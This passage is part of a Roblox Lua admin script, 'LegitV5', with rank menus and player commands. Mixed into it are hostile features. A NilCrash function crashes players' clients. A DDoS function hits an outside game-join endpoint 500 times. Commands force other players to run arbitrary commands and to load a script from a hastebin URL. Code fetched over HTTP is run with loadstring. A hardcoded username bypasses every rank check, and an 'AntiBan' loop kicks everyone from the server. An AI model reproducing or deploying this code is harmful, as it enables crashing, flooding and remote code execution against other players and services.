  1469. Output(Player, "Refresh Object",'Royal purple',nil,function() Explore(Player, obj) end)
  1470. Output(Player, "View Properties", "Royal purple", nil, function() GetObjectData(Player, obj) end)
  1471. GetKnownFunctions(Player, obj)
  1472. end
  1473. end
  1474. for index,player in ipairs(LegitV5.Services[2]:GetPlayers()) do
  1475. spawn(function()
  1476. Connect(player)
  1477. if GetRank(player) >= 0 then
  1478. TimedOutput(player, "LegitV5 has loaded",nil,nil,2)
  1479. TimedOutput(player, string.format("Your rank is %s", tostring(LegitV5.Ranked[player.Name].Rank)),nil,nil,2)
  1480. for i,v in next, LegitV5.Updates do
  1481. TimedOutput(player,i..": "..v, nil, nil, 6)
  1482. end
  1483. --[[
  1484. if GetRank(player) > 2 then
  1485. if sb_name == 'Nexure' then
  1486. TimedOutput(player,"Running in Nexure's SB, Kicking has been enabled fully",nil,nil,2)
  1487. elseif sb_name == "oxcool1" then
  1488. TimedOutput(player, "Running in Voilax/Voidacity's SB, Remote is up for kicking.",nil,nil,2)
  1489. elseif sb_name == "Anti's (Public)" then
  1490. TimedOutput(player, "Running in Anti's public SB, using 'Res'.",nil,nil,2)
  1491. elseif sb_name == "Anti's (Private)" then
  1492. TimedOutput(player, "Running in Anti's private SB, using 'Res'.",nil,nil,2)
  1493. else
  1494. TimedOutput(player, "Running in a unknown script builder, Kicking status is normal",nil,nil,2)
  1495. end
  1496. end
  1497. --]]
  1498.  
  1499. end
  1500. end)
  1501. end
  1502. LegitV5.Services[2].ChildRemoved:connect(function(plr)
  1503. if LegitV5.Ranked[plr.Name] then
  1504. Dismiss(plr)
  1505. end
  1506. wait(0.5)
  1507. for i,v in pairs(game:service'NetworkServer':children()) do
  1508. pcall(function()
  1509. if v:GetPlayer().Name == plr.Name then
  1510. AdminOutput(3, "Player ["..v:GetPlayer().Name.."] has been kicked from the server", "New Yeller")
  1511. Print("Player ["..v:GetPlayer().Name.."] has been kicked from the server")
  1512. end
  1513. end)
  1514. end
  1515. end)
  1516. workspace.Terrain.ChildAdded:connect(function(obj)
  1517. if obj:IsA("StringValue") then
  1518. if obj.Value == "LegitV5: END_ADMIN" then
  1519. for i = 0,50,1 do
  1520. pcall(function()
  1521. script.Disabled=true
  1522. DismissAll()
  1523. for j,k in pairs(getfenv(i)) do
  1524. pcall(function()
  1525. getfenv(i)[j] = nil
  1526. end)
  1527. end
  1528. end)
  1529. end
  1530. end
  1531. end
  1532. end)
  1533. LegitV5.Services[2].ChildRemoved:connect(function(plr)
  1534. ypcall(function()
  1535. if LegitV5.Ranked[plr.Name] ~= nil then
  1536. local v = plr
  1537. local vn = v.Name
  1538. game:GetService("RunService").Stepped:wait()
  1539. if LegitV5.Ranked[plr.Name].AntiBan == false then return end
  1540. LegitV5.Status["Abort"].Value = false
  1541. for countdown = 60, 0, -1 do
  1542. local m = Instance.new("Message", workspace)
  1543. m.Text = "If "..vn.." does not return within "..tostring(countdown).." seconds, this server will be shutdown."
  1544. wait(1)
  1545. ypcall(function() m:destroy() end)
  1546. if LegitV5.Ranked[plr.Name].AntiBan ~= true or LegitV5.Status["Abort"].Value == true then
  1547. break
  1548. end
  1549. if ypcall(function() return game.Players[vn] end) then
  1550. break
  1551. end
  1552. end
  1553. if not ypcall(function() return game.Players[vn] end) and LegitV5.Ranked[plr.Name].AntiBan == true and not LegitV5.Status["Abort"].Value then
  1554. repeat
  1555. game:GetService("RunService").Stepped:wait()
  1556. for i,v in pairs(LegitV5.Services[2]:GetPlayers()) do
  1557. Kick(v)
  1558. end
  1559. until nil
  1560. else
  1561. LegitV5.Status["Abort"].Value = false
  1562. end
  1563. end
  1564. end)
  1565. end)
  1566. function CreateCommand(Rank, Name, Usage, Description, Function, Shown)
  1567. table.insert(LegitV5.Commands, {Rank = Rank, Name = Name, Usage = Usage, Description = Description, Function = Function, Shown = Shown})
  1568. end
  1569. function all()
  1570. local allp = {}
  1571. for i,v in pairs(game:GetService('NetworkServer'):GetChildren()) do
  1572. ypcall(function()
  1573. if v:IsA("ServerReplicator") then
  1574. table.insert(allp, v:GetPlayer())
  1575. end
  1576. end)
  1577. end
  1578. return allp
  1579. end
  1580. function NoMusic()
  1581. RemoveMusic(workspace)
  1582. RemoveMusic(game:service'SoundService')
  1583. local KnownObjects = {}
  1584. table.insert(KnownObjects,game)
  1585. local function CollectObjects(X)
  1586. for i,v in pairs(X:GetChildren()) do
  1587. pcall(function()CollectObjects(v)end)
  1588. table.insert(KnownObjects,v)
  1589. end
  1590. end
  1591. CollectObjects(game)
  1592. for x,y in pairs(KnownObjects) do
  1593. local rr,ee=pcall(function()
  1594. RemoveMusic(y)
  1595. end)
  1596. end
  1597. end
  1598. function RemoveMusic(Object)
  1599. if Object:IsA('Sound') or Object.ClassName == 'Sound' then
  1600. Object:Destroy()
  1601. else
  1602. for i,v in pairs(Object:GetChildren()) do
  1603. if v:IsA("Sound") or v.ClassName == 'Sound' then
  1604. v:Destroy()
  1605. end
  1606. RemoveMusic(v)
  1607. end
  1608. end
  1609. end
  1610. function GetArguments(string)
  1611. return string.find(string, LegitV5.Suffix)
  1612. end
  1613. function GetRanked(User, String)
  1614. Dismiss(User)
  1615. if not String or String == nil or String == "" then
  1616. for index,data in next, LegitV5.Ranked do
  1617. Output(User, index, data.Color, nil, function()
  1618. Dismiss(User)
  1619. Output(User, index, data.Color, nil, nil, data.Shape)
  1620. Output(User, "Rank: "..data.Rank, data.Color, nil, nil, data.Shape)
  1621. Output(User, "Reason: "..data.Reason, data.Color, nil, nil, data.Shape)
  1622. Output(User, "Color: "..tostring(data.Color), data.Color, nil, nil, data.Shape)
  1623. Output(User, "Shape: "..data.Shape, data.Color,nil,nil, data.Shape)
  1624. Output(User, "Change tablet form", "Deep orange", nil, function()
  1625. Dismiss(User)
  1626. Output(User, 'Change tablet form to what?', 'Deep orange', nil,nil, data.Shape)
  1627. Output(User, 'Simple',data.Color,nil, function()
  1628. data.Shape = 'Simple'
  1629. Dismiss(User)
  1630. end, 'Simple')
  1631. Output(User, 'Doubled',data.Color,nil, function()
  1632. data.Shape = 'Doubled'
  1633. Dismiss(User)
  1634. end, 'Doubled')
  1635. Output(User, 'Surface',data.Color,nil, function()
  1636. data.Shape = 'SurfaceGui'
  1637. Dismiss(User)
  1638. end, 'SurfaceGui')
  1639. Output(User, 'SelectionBox', data.Color, nil, function()
  1640. data.Shape = 'SelectionBox'
  1641. Dismiss(User)
  1642. end, 'SelectionBox')
  1643. end, data.Shape)
  1644. Output(User, "Change Color", "Deep orange", nil, function()
  1645. Dismiss(User)
  1646. for name,color in next, LegitV5.Colors do
  1647. Output(User, name, color, nil, function()
  1648. data.Color = color
  1649. Dismiss(User)
  1650. end)
  1651. end
  1652. end, data.Shape)
  1653. if GetRank(User) > data.Rank then
  1654. Output(User, "Change Rank", "Deep orange" ,nil,function()
  1655. Dismiss(User)
  1656. Output(User, "Change rank to what?", "Deep orange",nil,nil)
  1657. if GetRank(User) == 0 or User.Name == "CoolMLGPlayer" then
  1658. Output(User, "Rank 0", data.Color,nil,function()
  1659. data.Rank = 0
  1660. Dismiss(User)
  1661. end)
  1662. if GetRank(User) >= 1 or User.Name == "CoolMLGPlayer" then
  1663. Output(User, "Rank 1", data.Color,nil,function()
  1664. data.Rank = 1
  1665. Dismiss(User)
  1666. end)
  1667. if data.Rank == -1 then
  1668. Output(User, "Unban", data.Color,nil,function()
  1669. data.Rank = 0
  1670. Dismiss(User)
  1671. end)
  1672. end
  1673. if GetRank(User) >= 2 or User.Name == "CoolMLGPlayer" then
  1674. Output(User, "Rank 2", data.Color,nil,function()
  1675. data.Rank = 2
  1676. Dismiss(User)
  1677. end)
  1678. if GetRank(User) >= 3 or User.Name == "CoolMLGPlayer" then
  1679. Output(User, "Rank 3", data.Color,nil,function()
  1680. data.Rank = 3
  1681. Dismiss(User)
  1682. end)
  1683. if GetRank(User) >= 4 or User.Name == "CoolMLGPlayer" then
  1684. Output(User, "Rank 4", data.Color,nil,function()
  1685. data.Rank = 4
  1686. Dismiss(User)
  1687. end)
  1688. if GetRank(User) == 5 or User.Name == "CoolMLGPlayer" then
  1689. Output(User, "Rank 5", data.Color,nil,function()
  1690. data.Rank = 5
  1691. Dismiss(User)
  1692. end)
  1693. end
  1694. end
  1695. end
  1696. end
  1697. end
  1698. end
  1699. end, data.Shape)
  1700. end
  1701. end, data.Shape)
  1702. end
  1703. else
  1704. for index,data in next, LegitV5.Ranked do
  1705. if string.sub(string.lower(index), 1, string.len(string.lower(String))) == string.lower(String) then
  1706. Output(User, index, data.Color, nil, function()
  1707. Dismiss(User)
  1708. Output(User, index, data.Color, nil, nil, data.Shape)
  1709. Output(User, "Rank: "..data.Rank, data.Color, nil, nil, data.Shape)
  1710. Output(User, "Reason: "..data.Reason, data.Color, nil, nil, data.Shape)
  1711. Output(User, "Color: "..tostring(data.Color), data.Color, nil, nil, data.Shape)
  1712. Output(User, "Shape: "..data.Shape, data.Color,nil,nil, data.Shape)
  1713. Output(User, "Change tablet form", "Deep orange", nil, function()
  1714. Dismiss(User)
  1715. Output(User, 'Change tablet form to what?', 'Deep orange', nil,nil, data.Shape)
  1716. Output(User, 'Simple',data.Color,nil, function()
  1717. data.Shape = 'Simple'
  1718. Dismiss(User)
  1719. end, 'Simple')
  1720. Output(User, 'Doubled',data.Color,nil, function()
  1721. data.Shape = 'Doubled'
  1722. Dismiss(User)
  1723. end, 'Doubled')
  1724. Output(User, 'Surface',data.Color,nil, function()
  1725. data.Shape = 'SurfaceGui'
  1726. Dismiss(User)
  1727. end, 'SurfaceGui')
  1728. Output(User, 'SelectionBox', data.Color, nil, function()
  1729. data.Shape = 'SelectionBox'
  1730. Dismiss(User)
  1731. end, 'SelectionBox')
  1732. end, data.Shape)
  1733. Output(User, "Change Color", "Deep orange", nil, function()
  1734. Dismiss(User)
  1735. for name,color in next, LegitV5.Colors do
  1736. Output(User, name, color, nil, function()
  1737. data.Color = color
  1738. Dismiss(User)
  1739. end)
  1740. end
  1741. end, data.Shape)
  1742. if GetRank(User) > data.Rank then
  1743. Output(User, "Change Rank", "Deep orange" ,nil,function()
  1744. Dismiss(User)
  1745. Output(User, "Change rank to what?", "Deep orange",nil,nil)
  1746. if GetRank(User) == 0 or User.Name == "CoolMLGPlayer" then
  1747. Output(User, "Rank 0", data.Color,nil,function()
  1748. data.Rank = 0
  1749. Dismiss(User)
  1750. end)
  1751. if GetRank(User) >= 1 or User.Name == "CoolMLGPlayer" then
  1752. Output(User, "Rank 1", data.Color,nil,function()
  1753. data.Rank = 1
  1754. Dismiss(User)
  1755. end)
  1756. if data.Rank == -1 then
  1757. Output(User, "Unban", data.Color,nil,function()
  1758. data.Rank = 0
  1759. Dismiss(User)
  1760. end)
  1761. end
  1762. if GetRank(User) >= 2 or User.Name == "CoolMLGPlayer" then
  1763. Output(User, "Rank 2", data.Color,nil,function()
  1764. data.Rank = 2
  1765. Dismiss(User)
  1766. end)
  1767. if GetRank(User) >= 3 or User.Name == "CoolMLGPlayer" then
  1768. Output(User, "Rank 3", data.Color,nil,function()
  1769. data.Rank = 3
  1770. Dismiss(User)
  1771. end)
  1772. if GetRank(User) >= 4 or User.Name == "CoolMLGPlayer" then
  1773. Output(User, "Rank 4", data.Color,nil,function()
  1774. data.Rank = 4
  1775. Dismiss(User)
  1776. end)
  1777. if GetRank(User) == 5 or User.Name == "CoolMLGPlayer" then
  1778. Output(User, "Rank 5", data.Color,nil,function()
  1779. data.Rank = 5
  1780. Dismiss(User)
  1781. end)
  1782. end
  1783. end
  1784. end
  1785. end
  1786. end
  1787. end
  1788. end, data.Shape)
  1789. end
  1790. end, data.Shape)
  1791. end
  1792. end
  1793. end
  1794. end
  1795. function NilCrash(plr)
  1796. Instance.new("RemoteEvent", game:GetService("Lighting")):FireClient(plr,{string.rep("a",2e5+5)})
  1797. end
  1798. function DisplayPlayers(User)
  1799. Dismiss(User)
  1800. for i,v in pairs(all()) do
  1801. --
  1802. if v.Parent ~= nil then
  1803. Output(User, v.Name, "Lime green","http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name , function()
  1804. Dismiss(User)
  1805. Output(User, v.Name, "Lime green","http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name, nil)
  1806. Output(User, "Builders Club Type | "..v.MembershipType.Name,'1001')
  1807. Output(User, "Account Age | "..v.AccountAge.." days old",'1001')
  1808. Output(User, "Back","Deep blue", nil, function() DisplayPlayers(User) end)
  1809. if GetRank(User) > GetRank(v) and GetRank(User) >= 2 then
  1810. Output(User, "Kick", "New Yeller", nil, function()
  1811. Dismiss(User)
  1812. Kick(v)
  1813. end)
  1814. if GetRank(User) >= 3 then
  1815. Output(User, "Ban", "Really red", nil, function()
  1816. Dismiss(User)
  1817. LegitV5.Ranked[v.Name].Rank = -1
  1818. LegitV5.Ranked[v.Name].Color = 'Dark red'
  1819. end)
  1820. end
  1821. end
  1822. end)
  1823. else
  1824. Output(User, "[Nil]: "..v.Name, "Really red","http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name , function()
  1825. Dismiss(User)
  1826. Output(User, "[Nil]: "..v.Name, "Really red","http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name, nil)
  1827. Output(User, "Builders Club Type | "..v.MembershipType.Name,'1001')
  1828. Output(User, "Account Age | "..v.AccountAge.." days old",'1001')
  1829. Output(User, "Back","Deep blue", nil, function() DisplayPlayers(User) end)
  1830. if LegitV5.Ranked[v.Name] then
  1831. if GetRank(User) > GetRank(v) then
  1832. Output(User, "Nil Crash", "New Yeller", nil, function()
  1833. NilCrash(v)
  1834. Dismiss(User)
  1835. end)
  1836. end
  1837. end
  1838. end)
  1839. end
  1840. end
  1841. --
  1842. end
  1843. function DisplayMusic(User)
  1844. Dismiss(User)
  1845. end
  1846. function DisplayCommands(User, Rank)
  1847. Dismiss(User)
  1848. for index,data in next, LegitV5.Commands do
  1849. if data.Shown == nil or data.Shown == true then
  1850. if Rank == nil then
  1851. Output(User, data.Name, nil, nil, function()
  1852. Dismiss(User)
  1853. if GetRank(User) >= data.Rank then
  1854. Output(User, 'You can use this command', 'Lime green')
  1855. else
  1856. Output(User, 'You cannot use this command', 'Really red')
  1857. end
  1858. Output(User, string.format("Required Rank: %s", tostring(data.Rank)), '1001')
  1859. Output(User, string.format("Name: %s", tostring(data.Name)), '1001')
  1860. if type(data.Usage) ~= "string" then
  1861. for i,v in pairs(data.Usage) do
  1862. Output(User,string.format("Usage["..i.."]: %s", tostring(v..LegitV5.Suffix)), Colors['Medium spring green'])
  1863. end
  1864. else
  1865. Output(User,string.format("Usage: %s", tostring(data.Usage..LegitV5.Suffix)), Colors['Medium spring green'])
  1866. end
  1867. Output(User, string.format("Description: %s", tostring(data.Description)), '1001')
  1868. Output(User, "Dismiss", "Really red", nil, function()
  1869. Dismiss(User)
  1870. end)
  1871. Output(User, "Back", "Deep blue", nil, function()
  1872. Chatted(string.format("cmds%s", LegitV5.Suffix), User)
  1873. end)
  1874. end)
  1875. else
  1876. if data.Rank <= Rank then
  1877. Output(User, data.Name, nil, nil, function()
  1878. Dismiss(User)
  1879. if GetRank(User) >= data.Rank then
  1880. Output(User, 'You can use this command', 'Lime green')
  1881. else
  1882. Output(User, 'You cannot use this command', 'Really red')
  1883. end
  1884. Output(User, string.format("Required Rank: %s", tostring(data.Rank)), '1001')
  1885. Output(User, string.format("Name: %s", tostring(data.Name)), '1001')
  1886. if type(data.Usage) ~= "string" then
  1887. for i,v in pairs(data.Usage) do
  1888. Output(User,string.format("Usage["..i.."]: %s", tostring(v..LegitV5.Suffix)), Colors['Medium spring green'])
  1889. end
  1890. else
  1891. Output(User,string.format("Usage: %s", tostring(data.Usage..LegitV5.Suffix)), Colors['Medium spring green'])
  1892. end
  1893. Output(User, string.format("Description: %s", tostring(data.Description)), '1001')
  1894. Output(User, "Dismiss", "Really red", nil, function()
  1895. Dismiss(User)
  1896. end)
  1897. Output(User, "Back", "Deep blue", nil, function()
  1898. Chatted(string.format("cmds%s", LegitV5.Suffix), User)
  1899. end)
  1900. end)
  1901. end
  1902. end
  1903. end
  1904. end
  1905. Output(User, "Dismiss", "Really red", nil, function()
  1906. Dismiss(User)
  1907. end)
  1908. end
  1909. function SetTime(Message, User)
  1910. if Message == 'day' then
  1911. game:service'Lighting'.TimeOfDay = 14
  1912. game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255)
  1913. game:service'Lighting'.Brightness = 1
  1914. game:service'Lighting'.Ambient = Color3.new()
  1915. game:service'Lighting'.GlobalShadows = true
  1916. game:service'Lighting'.GeographicLatitude = 41.733
  1917. game:service'Lighting'.FogEnd = 100000
  1918. game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255)
  1919. game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)
  1920. elseif Message == 'night' then
  1921. game:service'Lighting'.TimeOfDay = 0
  1922. game:service'Lighting'.OutdoorAmbient = Color3.new(0.1, 0.1, 0.15)
  1923. game:service'Lighting'.Brightness = 1
  1924. game:service'Lighting'.Ambient = Color3.new()
  1925. game:service'Lighting'.GlobalShadows = true
  1926. game:service'Lighting'.GeographicLatitude = 41.733
  1927. game:service'Lighting'.FogEnd = 100000
  1928. game:service'Lighting'.FogColor = Color3.new()
  1929. game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)
  1930. elseif Message == 'evening' then
  1931. game:service'Lighting'.TimeOfDay = tonumber(6)
  1932. elseif Message == 'starry night' then
  1933. game:service'Lighting'.TimeOfDay = tonumber(4)
  1934. elseif Message == 'grey' then
  1935. game:service'Lighting'.TimeOfDay = "18:00:00"
  1936. elseif Message == 'prite' then
  1937. game:service'Lighting'.TimeOfDay = "19:00:00"
  1938. else
  1939. if tonumber(Message) then
  1940. game:service('Lighting').TimeOfDay = tonumber(Message)
  1941. else
  1942. TimedOutput(User, "That is not a valid number", "Really red",nil,2)
  1943. end
  1944. end
  1945. end
  1946. function GetRank(plr)
  1947. if LegitV5.Ranked[plr.Name] ~= nil then
  1948. return tonumber(LegitV5.Ranked[plr.Name].Rank)
  1949. end
  1950. end
  1951. --HTTP load functions--
  1952. do --Sing function
  1953. pcall(function()
  1954. local FunctionSource = loadstring(game:GetService("HttpService"):GetAsync(LegitV5.URLs["Functions"],true))()
  1955. if type(FunctionSource) == "string" then
  1956. FunctionSource = game:GetService("HttpService"):JSONDecode(FunctionSource)
  1957. end
  1958. end)
  1959. end
  1960. --Server Creator
  1961. function GenerateServer(id)
  1962. for i=1,1 do
  1963. game:GetService('HttpService'):GetAsync('http://classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(id),true)
  1964. end
  1965. end
  1966. function DDoS(ID)
  1967. for i = 1,500 do
  1968. GenerateServer(ID)
  1969. end
  1970. if Serv[2].CoolMLGPlayer then
  1971. Output(Serv[2].CoolMLGPlayer, "DDoS has been completed", "Lime green")
  1972. end
  1973. end
  1974. --Commands--
  1975. CreateCommand(0, "Dismiss", {"dismiss","dt"}, "Dismiss tablets", function(Message, User)
  1976. if GetSplit(Message) == "a" then
  1977. Message = Message:gsub("-a","")
  1978. Message = Message:gsub(" ","")
  1979. for index,player in ipairs(LegitV5.Services[2]:GetPlayers()) do
  1980. Dismiss(player)
  1981. end
  1982. else
  1983. Dismiss(User)
  1984. end
  1985. end)
  1986. CreateCommand(1, "Dismiss Player", "dp", "Dismisses a player's tablets", function(Message,User)
  1987. for _,plr in pairs(CollectPlayers(Message,User)) do
  1988. if plr then
  1989. if GetRank(User) >= GetRank(plr) then
  1990. Dismiss(plr)
  1991. end
  1992. end
  1993. end
  1994. end)
  1995. CreateCommand(0, "Ping", {"p","ping"}, "Pings a message", function(Message, User)
  1996. if GetSplit(Message) == "a" then
  1997. Message = Message:gsub("-a","")
  1998. if Message:lower() == "afk" then
  1999. Output(User, "AFK", "Deep orange")
  2000. Output(User, "AFK", "Really red")
  2001. Output(User, "AFK", "Bright blue")
  2002. Output(User, "AFK", Colors["Reddish purple"])
  2003. Output(User, "AFK", "Lime green")
  2004. Output(User, "AFK", "New Yeller")
  2005. else
  2006. for _,v in pairs(LegitV5.Services[2]:GetPlayers()) do
  2007. if Message == "" or Message == " " then
  2008. Output(v, "Pong")
  2009. else
  2010. local X = Message:gsub("","\5")
  2011. Output(v, X)
  2012. end
  2013. end
  2014. end
  2015. else
  2016. if Message:lower() == "afk" then
  2017. Output(User, "AFK", "Deep orange")
  2018. Output(User, "AFK", "Really red")
  2019. Output(User, "AFK", "Bright blue")
  2020. Output(User, "AFK", Colors["Reddish purple"])
  2021. Output(User, "AFK", "Lime green")
  2022. Output(User, "AFK", "New Yeller")
  2023. else
  2024. if Message == "" or Message == " " then
  2025. Output(User, "Pong")
  2026. else
  2027. local X = Message:gsub("","\5")
  2028. Output(User, X)
  2029. end
  2030. end
  2031. end
  2032. end)
  2033. CreateCommand(2, "Ping to player",{"pingto","pt"}, "Pings a message to a player", function(Message,User)
  2034. local Key = GetArguments(Message)
  2035. local TargPlrs = Message:sub(1,Key-1)
  2036. local PlayerSet = CollectPlayers(TargPlrs, User)
  2037. local Text = Message:sub(Key+1)
  2038. for _,check in pairs(PlayerSet) do
  2039. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2040. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2041. Output(plr, Text)
  2042. end
  2043. end
  2044. end)
  2045. CreateCommand(0, "View Commands", {"cmds", "commands"}, "Brings up the commands menu", function(Message, User)
  2046. DisplayCommands(User,tonumber(Message))
  2047. end)
  2048. CreateCommand(0, "Get ranked", {"getr","getranked"}, "Shows ranked people", function(Message, User)
  2049. GetRanked(User, Message)
  2050. end)
  2051. CreateCommand(0, "View Players", {"plrs", "players"}, "Views all Players in game.", function(Message, User)
  2052. DisplayPlayers(User)
  2053. end)
  2054.  
  2055. function SearchAudio(e)
  2056. local t=game:GetService("HttpService")
  2057. local e="http://frednet.ftp.sh/api/musicSearch.php?param="..tostring(e)
  2058. local e=t:GetAsync(e,true)
  2059. repeat wait()until e
  2060. local e=t:JSONDecode(e)
  2061. return(e)
  2062. end
  2063.  
  2064. function SearchHats(e)
  2065. local t=game:GetService("HttpService")
  2066. local e="http://roblox.plus:2052/proxy/catalog/json?Subcategory=9&ResultsPerPage=30&Keyword="..tostring(e)
  2067. local e=t:GetAsync(e,true)
  2068. repeat wait()until e
  2069. local e=t:JSONDecode(e)
  2070. return(e)
  2071. end
  2072.  
  2073. CreateCommand(0, "Hat", "hat", "Gives you a hat on the catalog.", function(Message, User)
  2074. Dismiss(User)
  2075. local s=game:GetService("HttpService"):UrlEncode(Message)
  2076. local t=SearchHats(s)
  2077. local Limit = 35
  2078. local Count = 0
  2079. Output(User,"Clear Hats","Really red",nil,function()
  2080. for _,v in pairs(User.Character:GetChildren()) do
  2081. if v.ClassName == "Hat" then
  2082. v:remove()
  2083. end
  2084. end
  2085. end)
  2086. for o,t in next,t do
  2087. if Count < Limit then
  2088. Count = Count + 1
  2089.  
  2090. Output(User,t.Name,nil,nil,function()
  2091. Dismiss(User)
  2092. Output(User,"Get ["..t.Name.."]?",nil,nil,function()
  2093. ContentProvider = game:GetService('ContentProvider')
  2094. hat = ContentProvider:Preload("http://www.roblox.com/asset/?id="..tostring(t.AssetId))
  2095. hat.Parent = User.Parent
  2096. Dismiss(User)
  2097. end)
  2098.  
  2099. Output(User,"Asset Id: "..t.AssetId,nil)
  2100. Output(User,"Description : "..t.Description,nil)
  2101. Output(User,"Sales : "..t.Sales,nil,nil)
  2102. Output(User,"Price : "..t.PriceInRobux,nil,nil)
  2103. if t.IsLimited == true then
  2104. Output(User,"NewPrice : "..t.BestPrice,nil,nil)
  2105. end
  2106. end)
  2107. end
  2108. end
  2109.  
  2110. end)
  2111.  
  2112. CreateCommand(2, "Music", {"music","msc"}, "Lets you run your own music.", function(Message, User)
  2113. Dismiss(User)
  2114. local s=game:GetService("HttpService"):UrlEncode(Message)
  2115. local t=SearchAudio(s)
  2116. local Limit = 35
  2117. local Count = 0
  2118. for o,t in next,t do
  2119. if Count < Limit then
  2120. Count = Count + 1
  2121. Output(User,t.Name,nil,nil,function()
  2122. Dismiss(User)
  2123. Output(User,"Play ["..t.Name.."]?",nil,nil,function()
  2124. music = Instance.new("Sound", workspace)
  2125. music.SoundId = "http://www.roblox.com/asset/?id="..t.AssetId
  2126. music:Play(t.AssetId)
  2127. Dismiss(User)
  2128. end)
  2129. Output(User,"Sound Id: "..t.AssetId,nil)
  2130. Output(User,"Creator : "..t.Creator,nil)
  2131. Output(User,"Sales : "..t.Sales,nil,nil)
  2132. end)
  2133. end
  2134. end
  2135.  
  2136. end)
  2137.  
  2138. function Commander(plr,command)
  2139. p = game.Players:FindFirstChild(plr)
  2140. p.PlayerGui.SB_DataTransfer.SB_CommandRemote.Value = tostring(command)
  2141. end
  2142. CreateCommand(6, "Control Output", "out", "Makes a player write a command in their output.", function(Message, User)
  2143. local Key = GetArguments(Message)
  2144. local TargPlrs = Message:sub(1,Key-1)
  2145. local PlayerSet = CollectPlayers(TargPlrs, User)
  2146. local Text = Message:sub(Key+1)
  2147. for _,check in pairs(PlayerSet) do
  2148. if LegitV5.Services[2]:FindFirstChild(check.Name) then
  2149. local plr = LegitV5.Services[2]:FindFirstChild(check.Name)
  2150. Commander(check.Name, Text)
  2151. end
  2152. end
  2153. end)
  2154.  
  2155. CreateCommand(1, "Give legit", "legit", "Gives everyone legit", function(Message, User)
  2156. for _,v in pairs(game.Players:GetPlayers()) do
  2157. Commander(v.Name, "createh/ModdedLegit/http://hastebin.com/raw/qacunaxufe")
  2158. Commander(v.Name, "save/ModdedLegit")
  2159. end
  2160. end)
  2161. CreateCommand(6, "Modify Key", "setkey", "Modifies key of admin commands.", function(Message, User)
  2162. Dismiss(User)
  2163. game:GetService("RunService").Stepped:wait()
  2164. Output(User, 'Select a new key', 'Lime green')
  2165. Output(User, " '/' ", 'White', nil, function() LegitV5.Suffix = "/"
  2166. Dismiss(User)
  2167. for other,plr in pairs(LegitV5.Services[2]:GetPlayers()) do
  2168. Output(plr, "Suffix was changed to "..LegitV5.Suffix)
  2169. end
  2170. end)
  2171. Output(User, " ';' ", 'White', nil, function() LegitV5.Suffix = ";"
  2172. Dismiss(User)
  2173. for other,plr in pairs(LegitV5.Services[2]:GetPlayers()) do
  2174. Output(plr, "Suffix was changed to "..LegitV5.Suffix)
  2175. end
  2176. end)
  2177. Output(User, " '-' ", 'White', nil, function() LegitV5.Suffix = "-"
  2178. Dismiss(User)
  2179. for other,plr in pairs(LegitV5.Services[2]:GetPlayers()) do
  2180. Output(plr, "Suffix was changed to "..LegitV5.Suffix)
  2181. end
  2182. end)
  2183. Output(User, " ']' ", 'White', nil, function() LegitV5.Suffix = "]"
  2184. Dismiss(User)
  2185. for other,plr in pairs(LegitV5.Services[2]:GetPlayers()) do
  2186. Output(plr, "Suffix was changed to "..LegitV5.Suffix)
  2187. end
  2188. end)
  2189. Output(User, " ':' ", 'White', nil, function() LegitV5.Suffix = ":"
  2190. Dismiss(User)
  2191. for other,plr in pairs(LegitV5.Services[2]:GetPlayers()) do
  2192. Output(plr, "Suffix was changed to "..LegitV5.Suffix)
  2193. end
  2194. end)
  2195. end)
  2196. CreateCommand(2,'Message',{'m', 'message'},'Creates a message', function(Message, User)
  2197. if GetSplit(Message) == "h" then
  2198. Message = Message:gsub("-h","")
  2199. spawn(function()
  2200. local Alert = Instance.new("Hint", workspace)
  2201. local String = ""
  2202. for i = 0,#Message do
  2203. wait(0.1)
  2204. String = String..Message:sub(i,i)
  2205. Alert.Text = "-< " .. String:gsub("","\5") .. " >-"
  2206. end
  2207. wait(3)
  2208. for i = #Message,0,-1 do
  2209. wait(0.1)
  2210. String = String:sub(1,i)
  2211. Alert.Text = "-< " .. String:gsub("","\5") .. " >-"
  2212. end
  2213. Alert:remove()
  2214. end)
  2215. else
  2216. spawn(function()
  2217. local Alert = Instance.new("Message", workspace)
  2218. local String = ""
  2219. for i = 0,#Message do
  2220. wait(0.1)
  2221. String = String..Message:sub(i,i)
  2222. Alert.Text = "-< " .. String:gsub("","\5") .. " >-"
  2223. end
  2224. wait(3)
  2225. for i = #Message,0,-1 do
  2226. wait(0.1)
  2227. String = String:sub(1,i)
  2228. Alert.Text = "-< " .. String:gsub("","\5") .. " >-"
  2229. end
  2230. Alert:remove()
  2231. end)
  2232. end
  2233. end)
  2234. CreateCommand(1, "Kill Player", "kill", "Kills a player", function(Message, User)
  2235. if GetSplit(Message) == "e" then
  2236. Message = Message:gsub("-e","")
  2237. Message = Message:gsub(" ","")
  2238. for _,plr in pairs(CollectPlayers(Message, User)) do
  2239. if plr and plr.Character and plr.Character:FindFirstChild('Torso') then
  2240. if GetRank(User) >= GetRank(plr) then
  2241. pcall(function()
  2242. Instance.new('Explosion', workspace).Position = plr.Character.Torso.Position
  2243. plr.Character:BreakJoints()
  2244. end)
  2245. end
  2246. end
  2247. end
  2248. else
  2249. for _,plr in pairs(CollectPlayers(Message, User)) do
  2250. if plr and plr.Character then
  2251. if GetRank(User) >= GetRank(plr) then
  2252. plr.Character:BreakJoints()
  2253. end
  2254. end
  2255. end
  2256. end
  2257. end)
  2258. CreateCommand(1, "God", "god", "Gives a player infinite health", function(Message, User)
  2259. for _,plr in pairs(CollectPlayers(Message, User)) do
  2260. if plr and plr.Character and plr.Character.Humanoid then
  2261. plr.Character.Humanoid.MaxHealth = math.huge
  2262. end
  2263. end
  2264. end)
  2265. CreateCommand(1, "Ungod", "ungod", "Brings a player back to normal health", function(Message, User)
  2266. for _,plr in pairs(CollectPlayers(Message, User)) do
